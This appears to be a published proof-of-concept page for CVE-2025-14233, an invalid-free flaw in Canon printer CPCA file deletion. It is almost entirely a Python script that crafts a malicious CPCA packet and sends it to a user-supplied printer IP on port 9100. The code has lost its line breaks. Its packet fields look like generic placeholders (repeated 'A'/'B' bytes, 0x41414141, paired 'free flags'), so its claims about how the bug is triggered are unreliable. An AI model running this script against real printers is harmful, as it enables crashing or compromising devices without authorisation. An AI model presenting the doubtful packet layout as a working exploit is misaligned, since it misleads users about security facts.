CVE-2025-14233 佳能打印机CPCA文件删除Invalid Free漏洞

// CVE-2025-14233 PoC - Invalid Free in CPCA File Deletion // This PoC demonstrates the vulnerability in Canon printer CPCA file handling // Target: Canon printers with firmware v06.02 and earlier import socket import struct import time def create_malicious_cpc_packet(): """ Create a malicious CPCA packet to trigger Invalid Free The packet structure exploits the file deletion processing """ # CPCA Header header = b'\x43\x50\x43\x41' # 'CPCA' magic bytes version = b'\x01\x00' # Command: File Delete Operation cmd_type = b'\x00\x04' # Malicious payload that triggers double-free condition # The file handle is manipulated to cause invalid memory release payload = b'\x41' * 256 payload += struct.pack('<I', 0x41414141) # Manipulated file handle payload += struct.pack('<I', 0x00000000) # Trigger flag for deletion payload += b'\x00' * 64 # Crafted data that causes the same memory to be freed twice exploit_data = b'\x42' * 128 exploit_data += struct.pack('<I', 0x00000001) # First free flag exploit_data += b'\x00' * 32 exploit_data += struct.pack('<I', 0x00000001) # Second free flag (triggers double-free) packet = header + version + cmd_type + payload + exploit_data return packet def exploit_canon_printer(target_ip, target_port=9100): """ Send malicious CPCA packet to trigger the Invalid Free vulnerability """ print(f"[*] Targeting Canon Printer: {target_ip}:{target_port}") print("[*] Crafting malicious CPCA packet...") packet = create_malicious_cpc_packet() try: print("[*] Sending exploit packet...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(packet) print("[+] Packet sent successfully") print("[*] Waiting for response...") time.sleep(2) response = sock.recv(1024) if response: print(f"[+] Received response: {len(response)} bytes") sock.close() print("[*] Exploitation attempt completed") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-14233.py <target_ip>") sys.exit(1) target = sys.argv[1] exploit_canon_printer(target)